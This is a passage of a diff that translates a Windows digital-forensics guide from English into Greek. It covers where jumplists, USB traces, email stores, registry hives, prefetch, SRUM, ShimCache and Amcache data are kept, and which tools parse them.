application usually because something **important** has happened with the file (maybe marked as favorite) +Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** έχει συμβεί με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Σημειώστε ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το αρχείο jumplist_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Χρήση USB Windows -It's possible to identify that a USB device was used thanks to the creation of: +Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Φακέλου Πρόσφατων Windows +- Φακέλου Πρόσφατων Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Τα αρχεία στον φάκελο WPDNSE είναι ένα αντίγραφο των αρχικών, επομένως δεν θα επιβιώσουν από μια επανεκκίνηση του υπολογιστή και το GUID λαμβάνεται από ένα shellbag. -### Registry Information +### Πληροφορίες Μητρώου -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Ελέγξτε αυτή τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με τις συνδεδεμένες συσκευές USB. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να αποκτήσει πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα. ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### Καθαρισμός Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +Η εργασία βρίσκεται στο παρακάτω μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Κύρια Συστατικά και Ρυθμίσεις της Εργασίας:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Αυτό το DLL είναι υπεύθυνο για τη διαδικασία καθαρισμού. +- **UseUnifiedSchedulingEngine**: Ρυθμισμένο σε `TRUE`, υποδεικνύει τη χρήση της γενικής μηχανής προγραμματισμού εργασιών. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαίως κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης. +- **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## Emails -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Τα emails περιέχουν **2 ενδιαφέροντα μέρη: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Ποιος** έστειλε τα emails (διεύθυνση email, IP, mail servers που έχουν ανακατευθύνει το email) +- **Πότε** εστάλη το email -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων: ![](<../../../images/image (593).png>) ### Windows Mail App -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν το email εστάλη +- `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας +- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. +- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; όχι διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Η διαδρομή μητρώου `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` υποδεικνύει το αρχείο που χρησιμοποιείται. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Μπορείτε να ανοίξετε το αρχείο PST χρησιμοποιώντας το εργαλείο [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (498).png>) ### Microsoft Outlook OST Files -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Ανάκτηση Συνημμένων -Lost attachments might be recoverable from: +Χαμένα συνημμένα μπορεί να είναι ανακτήσιμα από: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Για **IE11 και άνω**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` ### Thunderbird MBOX Files -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** χρησιμοποιεί **MBOX αρχεία** για να αποθηκεύσει δεδομένα, που βρίσκονται στο `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Εικόνες Μικρογραφιών -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP και 8-8.1**: Η πρόσβαση σε έναν φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνας, ακόμη και μετά τη διαγραφή. +- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελάζεται μέσω δικτύου μέσω UNC διαδρομής. +- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών κεντρικοποιούνται στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία που ονομάζονται **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) είναι εργαλεία για την προβολή αυτών των αρχείων. -### Windows Registry Information +### Πληροφορίες Μητρώου Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Το Μητρώο Windows, που αποθηκεύει εκτενή δεδομένα συστήματος και δραστηριότητας χρηστών, περιέχεται σε αρχεία σε: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` για διάφορους υποκλειδιά `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`. +- Οι εκδόσεις Windows Vista και νεότερες δημιουργούν αντίγραφα ασφαλείας των αρχείων μητρώου `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`. +- Επιπλέον, οι πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και Windows 2008 Server και μετά. -### Tools +### Εργαλεία -Some tools are useful to analyze the registry files: +Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. -### Recovering Deleted Element +### Ανάκτηση Διαγραμμένων Στοιχείων -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά. -### Last Write Time +### Τελευταίος Χρόνος Γραφής -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Κάθε Key-Value περιέχει μια **χρονική σφραγίδα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Ενδιαφέροντα στοιχεία στο Μητρώο Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Εκτελούμενα Προγράμματα -### Basic Windows Processes +### Βασικές Διαδικασίες Windows -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +Σε [αυτή την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διαδικασίες Windows για να ανιχνεύσετε ύποπτες συμπεριφορές. -### Windows Recent APPs +### Πρόσφατες Εφαρμογές Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εφαρμογή που εκτελέστηκε**, **την τελευταία φορά** που εκτελέστηκε και **τον αριθμό φορών** που εκκινήθηκε. ### BAM (Background Activity Moderator) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου). ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **ανοιχτά** από το πρόγραμμα. +Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **να φορτώνει προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενα. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\ +Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Μπορείτε να αποκτήσετε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Δίνει τις εξής πληροφορίες: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID και Διαδρομή +- Χρήστης που εκτέλεσε τη διαδικασία +- Αποστολή Bytes +- Λήψη Bytes +- Δικτυακή Διεπαφή +- Διάρκεια σύνδεσης +- Διάρκεια διαδικασίας -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά. +Μπορείτε να αποκτήσετε την ημερομηνία από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Πλήρης διαδρομή του αρχείου +- Μέγεθος του αρχείου +- Τελευταία τροποποίηση υπό **$Standard_Information** (SI) +- Τελευταία ενημέρωση του ShimCache +- Σημαία εκτέλεσης διαδικασίας -Such data is stored within the registry at specific locations based on the version of the operating system: +Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Για XP, τα δεδομένα αποθηκεύονται υπό `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών. +- Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +Το αρχείο **Amcache.hve** είναι ουσιαστικά μια κυψέλη μητρώου που καταγράφει λεπτομέρειες σχετικά με τις εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. +Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Μεταξύ των παραγόμενων αρχείων CSV, το `Amcache_Unassociated file entries` είναι ιδιαίτερα αξιοσημείωτο λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρίσεις αρχείων. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Το πιο ενδιαφέρον αρχείο CVS που παραγένεται είναι το `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Αυτό το αποδεικτικό μπορεί να βρεθεί μόνο σε W7 στο `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες 